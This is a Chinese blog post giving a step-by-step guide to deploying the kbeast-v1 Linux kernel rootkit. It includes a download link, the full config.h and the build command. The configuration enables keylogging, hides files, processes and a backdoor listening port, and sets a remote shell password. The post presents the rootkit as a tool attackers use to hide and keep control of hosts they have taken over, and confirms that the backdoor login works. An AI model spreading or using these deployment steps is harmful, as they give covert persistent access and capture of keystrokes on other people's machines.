zoukankan      html  css  js  c++  java
  • rootkit(kbeast-v1)

    Rootkit有应用级、内核级和硬件级

    用的比较多的是内核级别,比如基于linux LKM编写的rootkit

     

    rootkit可以理解为一个超级管理员的工具箱,这个工具箱通过调用系统LKM接口可以动态实现对内核功能的修改,从而实现相比普通后门程序的变态级功能,比如:

    1、替换    ====> 可以将系统命令替换成其他内容,比如将ls替换成rm,这样一来当你敲入ls时实际执行的是rm

    2、隐藏     ====>可以隐藏自身文件(ls看不到)、隐藏进程(ps aux看不到)、连接隐藏(netstat看不到开放的端口)等

    3、嗅探    ====>可以实现键盘记录、网络访问记录等

     

    正因为rootkit如此变态,因此很多黑客会在拿到目标主机后通过安装rootkit这种超级后门来隐藏自己和持续的控制该主机

     

    需要注意的是因为rootkit是内核级别的代码,故要求root权限才能运行,并且rootkit要适配对应的linux内核版本!(功能牛X,但使用条件也苛刻啊- -!)

     

    此处拿kbeast-v1这款rootkit来举例,附上下载链接:

    http://www.core.ipsecs.com/rootkit/kernel-rootkit/

     下载得到ipsecs-kbeast-v1.tar文件,tar -zvxf ipsecs-kbeast-v1.tar得到kbeast-v1文件夹,其中包含如下文件:

    config.h 为配置文件,在安装之前需要先对该配置文件进行修改

    config.h:

    /*
    Kernel Beast Ver #1.0 - Configuration File
    Copyright Ph03n1X of IPSECS (c) 2011
    Get more research of ours http://ipsecs.com
    */
    
    /*Don't change this line*/
    #define TRUE 1
    #define FALSE 0
    
    /*
    Enable keylog probably makes the system unstable
    But worth to be tried
    */
    #define _KEYLOG_ TRUE
    
    /*Define your module & network daemon name*/
    #define KBEAST "kbeast"
    
    /*
    All files, dirs, process will be hidden
    Protected from deletion & being killed
    */
    #define _H4X0R_ "_h4x_"
    
    /*
    Directory where your rootkit will be saved
    You have to use _H4X0R_ in your directory name
    No slash (/) at the end
    */
    #define _H4X_PATH_ "/usr/_h4x_"    =====>此处为安装路径,可以视情况修改。安装完成后该文件夹ls时不显示,cd _h4x_ 可以进入。
    
    /*
    File to save key logged data
    */
    #define _LOGFILE_ "acctlog"    =====>日志(键盘记录)存放文件
    
    /*
    This port will be hidded from netstat
    */
    #define _HIDE_PORT_ 13377    ======>监听端口(用作后门连接,远程telnet这台设备的13377端口即可获取shell)
    
    /*
    Password for remote access
    */
    #define _RPASSWORD_ "123456"      ======>远程连接到这台设备时的密码
    #define _MAGIC_NAME_ "test01"       ======>远程连接过来时给与什么账户(如果此处设为'root'则telnet过来时就是root权限)
    /*
    Magic signal & pid for local escalation
    */
    #define _MAGIC_SIG_ 37 //kill signal
    #define _MAGIC_PID_ 31337 //kill this pid

    接下来开始安装步骤:

    执行 ./setup 时显示:

    build参数:安装

    clean参数:卸载

    version:可以看见支持2.6.18和2.6.32版本的内核

    执行 ./setup build 开始安装

    结果如上,显示安装完成

    此时远程连接此设备的13377端口,成功进入该设备,且得到的用户为指定用户

    总结:

    安装完成后netstat看不到对应的侦听端口,但是扫描可以发现(因为扫描相当于真实去连接这个端口)

    在usr下ls看不到相应目录,但是cd /usr/_h4x_可以进入

    键盘记录存储于/usr/_h4x_下的acctlog.0

    ps aux时看不到进程,但是ps aux|grep h4x时可以看到

  • 相关阅读:
    高分辨率下IE浏览器缩放导致出现右侧滚动条问题的解决
    Asp.Net Core 项目实战之权限管理系统(6) 功能管理
    Asp.Net Core 项目实战之权限管理系统(5) 用户登录
    Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现
    Asp.Net Core 项目实战之权限管理系统(3) 通过EntityFramework Core使用PostgreSQL
    Asp.Net Core 项目实战之权限管理系统(2) 功能及实体设计
    Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端
    Base-64 字符数组或字符串的长度无效等问题解决方案
    Asp.Net Core 项目实战之权限管理系统(0) 无中生有
    SEO
  • 原文地址:https://www.cnblogs.com/baihualin/p/10366550.html
Copyright © 2011-2022 走看看